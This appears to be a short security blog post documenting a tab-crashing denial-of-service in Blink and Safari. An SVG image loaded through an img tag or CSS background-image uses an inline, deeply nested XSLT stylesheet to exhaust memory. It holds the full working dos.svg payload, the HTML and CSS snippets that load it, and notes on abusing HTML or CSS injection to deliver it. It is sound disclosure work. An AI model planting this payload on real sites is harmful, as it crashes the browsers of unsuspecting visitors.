Sunday, January 19, 2025

Blink - DoS of tab via SVG in img tag / CSS context

This is just a quick blogpost to document a behavior in the Blink engine in regards to the processing of SVG images in the context of the HTML img tag, CSS or any context where SVG is treated as an "static" image. It allows SVG images to use inline XSLT stylesheets, which is crafted in such a way to cause a memory exhaustion of the tab viewing the page that includes the malicious SVG image. 

This can be used when someone either found a HTML injection or a CSS injection, which can not be exploited further, but allows to load a remote image. But in the end it is nothing major as often something similar can be achieved through other means. 

The origin 


I can't remember why or how but some years ago I stumbled upon the following blogpost https://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html by https://x.com/scarybeasts

Even back then I had to use the WayBack machine to access the linked expensive_xsl_svg.html file to see what SVG file is loaded.

Loaded SVG:

This is basically the reason why I decided to write a blogpost to document this behavior again. I also have found that not everyone is aware of this behavior. 

The issue


Well examples are better than words:

Dos via <img> tag:
<img src="./dos.svg">
<div>wait for the tab to crash - this depends on your system</div>

DoS via CSS background-image example:
<div style="background-image: url('./dos.svg')">dos</div>
<div>wait for the tab to crash - this depends on your system</div>

Content of dos.svg
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="#stylesheet"?>
<!DOCTYPE responses [
 <!ATTLIST xsl:stylesheet
 id ID #REQUIRED
>
]>
<root>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <node/>
 <xsl:stylesheet id="stylesheet" version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<pwnage/>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
 </xsl:template>
 </xsl:stylesheet>
</root>

If you open the following links and wait a few seconds in eg. Chrome it will cause a crash of the tab. NOTE that it can take some seconds until the tab actually "crashes", which is also highly influenced by your system.
Firefox is NOT affected as it does not support XSLT in SVG files, which are loaded eg via an img tag, CSS or other "static" contexts.
YES Safari seems also affected.



Explotation


As mentioned, this behavior can be abused in case a website allows a user to specify a remote image, which is subsequently loaded via eg. an HTML img. tag. It is also usable as a last resort in case of a CSS injection via eg. the background-image property to at least cause a DoS of the page where the injection occurs.
Of course other HTML tags/attributes or CSS property, which allow to load an image are applicable.
Powerful XSLT functions like document() are not available/executed. 
Please note I did not try all CSS property/HTML tags + "powerful" xslt functions, so feel free to try. 

In the end this is solely a blogpost to have this behavior once again properly documented in 2025.